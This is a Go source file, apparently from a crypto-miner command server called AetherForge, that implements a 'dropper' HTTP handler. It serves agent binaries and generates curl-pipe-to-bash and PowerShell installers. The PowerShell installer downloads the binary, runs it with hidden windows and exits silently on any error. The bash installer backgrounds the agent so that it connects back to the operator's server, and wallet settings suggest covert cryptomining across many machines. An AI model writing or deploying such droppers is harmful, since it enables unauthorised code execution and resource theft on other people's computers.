Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
221 lines
7.4 KiB
Go
221 lines
7.4 KiB
Go
package api
|
|
|
|
import (
|
|
"fmt"
|
|
"net/http"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
)
|
|
|
|
// DropperHandler serves the one-liner remote-install endpoints:
|
|
//
|
|
// GET /get — auto-detect OS from User-Agent, serve latest binary
|
|
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
|
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
|
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
|
type DropperHandler struct {
|
|
db *dbpkg.Database
|
|
publicURLFunc func() string
|
|
}
|
|
|
|
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
|
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
|
}
|
|
|
|
func (h *DropperHandler) publicURL() string {
|
|
if h.publicURLFunc != nil {
|
|
if u := h.publicURLFunc(); u != "" {
|
|
return strings.TrimRight(u, "/")
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// detectPlatform picks the right build platform from an explicit query param or
|
|
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
|
|
func detectPlatform(r *http.Request) string {
|
|
if p := r.URL.Query().Get("os"); p != "" {
|
|
switch strings.ToLower(p) {
|
|
case "windows", "win":
|
|
return "windows"
|
|
case "linux":
|
|
return "linux"
|
|
case "darwin", "mac", "macos":
|
|
return "darwin"
|
|
case "universal", "any":
|
|
return "universal"
|
|
}
|
|
}
|
|
ua := strings.ToLower(r.Header.Get("User-Agent"))
|
|
switch {
|
|
case strings.Contains(ua, "windows"):
|
|
return "windows"
|
|
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
|
|
return "darwin"
|
|
case strings.Contains(ua, "linux"):
|
|
return "linux"
|
|
}
|
|
return "" // caller will fall back to latest build regardless of platform
|
|
}
|
|
|
|
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
|
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
|
platform := detectPlatform(r)
|
|
|
|
// Try exact platform match, then fall back to universal, then any.
|
|
candidates := []string{platform, "universal", ""}
|
|
if platform == "" {
|
|
candidates = []string{"universal", ""}
|
|
}
|
|
|
|
var buildPath, buildName string
|
|
for _, p := range candidates {
|
|
b, err := h.db.GetLatestBuildForPlatform(p)
|
|
if err == nil && b != nil {
|
|
buildPath = b.FilePath
|
|
buildName = filepath.Base(b.FilePath)
|
|
break
|
|
}
|
|
}
|
|
if buildPath == "" {
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.WriteHeader(http.StatusNotFound)
|
|
fmt.Fprintln(w, "AETHERFORGE: no agent build available yet.")
|
|
fmt.Fprintln(w, "Open the dashboard → Forge → fill in your wallet + server URL → FORGE INSTALLER.")
|
|
fmt.Fprintln(w, "Then re-run this one-liner.")
|
|
return
|
|
}
|
|
|
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
// Content-Length is set automatically by http.ServeFile.
|
|
http.ServeFile(w, r, buildPath)
|
|
}
|
|
|
|
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
|
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
|
base := h.resolveBase(r)
|
|
|
|
script := fmt.Sprintf(`#!/bin/sh
|
|
# AetherForge agent installer
|
|
# Usage: curl -sL '%[1]s/install.sh' | bash
|
|
# wget -qO- '%[1]s/install.sh' | bash
|
|
|
|
set -e
|
|
|
|
die() { echo "[!] $*" >&2; exit 1; }
|
|
|
|
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
|
ARCH="$(uname -m)"
|
|
case "$ARCH" in
|
|
x86_64) ARCH="amd64" ;;
|
|
aarch64|arm64) ARCH="arm64" ;;
|
|
esac
|
|
|
|
echo "[*] AetherForge — downloading agent for $OS/$ARCH..."
|
|
|
|
TMPDIR="$(mktemp -d)"
|
|
DEST="$TMPDIR/worker"
|
|
|
|
# Download and verify we got a real file, not a 404 page.
|
|
# Note: double-quotes around URL so $OS is expanded by the shell.
|
|
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
|
|
if [ "$HTTP_CODE" != "200" ]; then
|
|
cat "$DEST" >&2
|
|
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
|
|
fi
|
|
|
|
FILESIZE="$(wc -c < "$DEST" | tr -d ' ')"
|
|
[ "$FILESIZE" -gt 1024 ] || die "Download too small ($FILESIZE bytes) — something went wrong."
|
|
|
|
# Universal bundle (ZIP) or raw binary? 'file' is available on all platforms.
|
|
if file "$DEST" 2>/dev/null | grep -qi "zip\|archive"; then
|
|
echo "[*] Extracting universal bundle..."
|
|
unzip -q "$DEST" -d "$TMPDIR/bundle"
|
|
cd "$TMPDIR/bundle"
|
|
if [ "$OS" = "darwin" ]; then
|
|
for L in Start.command start.command; do
|
|
[ -f "$L" ] && chmod +x "$L" && exec "./$L"
|
|
done
|
|
fi
|
|
for L in start.sh deploy.sh; do
|
|
[ -f "$L" ] && chmod +x "$L" && exec sh "./$L"
|
|
done
|
|
die "No launcher found in bundle (Start.command / start.sh / deploy.sh)"
|
|
fi
|
|
|
|
chmod +x "$DEST"
|
|
echo "[*] Launching agent..."
|
|
nohup "$DEST" >/dev/null 2>&1 &
|
|
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
|
|
`, base)
|
|
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
|
fmt.Fprint(w, script)
|
|
}
|
|
|
|
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
|
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
|
base := h.resolveBase(r)
|
|
|
|
// Build script as a regular string — backtick in Go raw strings conflicts
|
|
// with PowerShell's escape character.
|
|
bt := "`"
|
|
nl := "\r\n"
|
|
|
|
script := "# AetherForge dropper" + nl +
|
|
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
|
|
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
|
|
"$url = '" + base + "/get?os=windows'" + nl +
|
|
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
|
|
"try {" + nl +
|
|
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
|
|
"} catch { exit 0 }" + nl + nl +
|
|
"if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
|
|
"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
|
|
"$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
|
|
"if ($isZip) {" + nl +
|
|
" $dir = $tmp + '_bundle'" + nl +
|
|
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
|
|
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
|
|
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
|
|
" $c = Join-Path $dir $name" + nl +
|
|
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
|
|
" }" + nl +
|
|
"} else {" + nl +
|
|
" $exe = $tmp + '.exe'" + nl +
|
|
" Move-Item -Path $tmp -Destination $exe -Force" + nl +
|
|
" Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
|
|
"}" + nl +
|
|
"if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl
|
|
|
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
|
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
|
fmt.Fprint(w, script)
|
|
}
|
|
|
|
// resolveBase returns the public base URL for script generation, falling back
|
|
// to the request's Host header when no public URL is configured.
|
|
func (h *DropperHandler) resolveBase(r *http.Request) string {
|
|
if u := h.publicURL(); u != "" {
|
|
return u
|
|
}
|
|
scheme := "http"
|
|
if r.TLS != nil {
|
|
scheme = "https"
|
|
}
|
|
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
|
|
if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
|
|
scheme = "https"
|
|
}
|
|
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
|
|
host := r.Header.Get("X-Forwarded-Host")
|
|
if host == "" {
|
|
host = r.Host
|
|
}
|
|
return scheme + "://" + host
|
|
}
|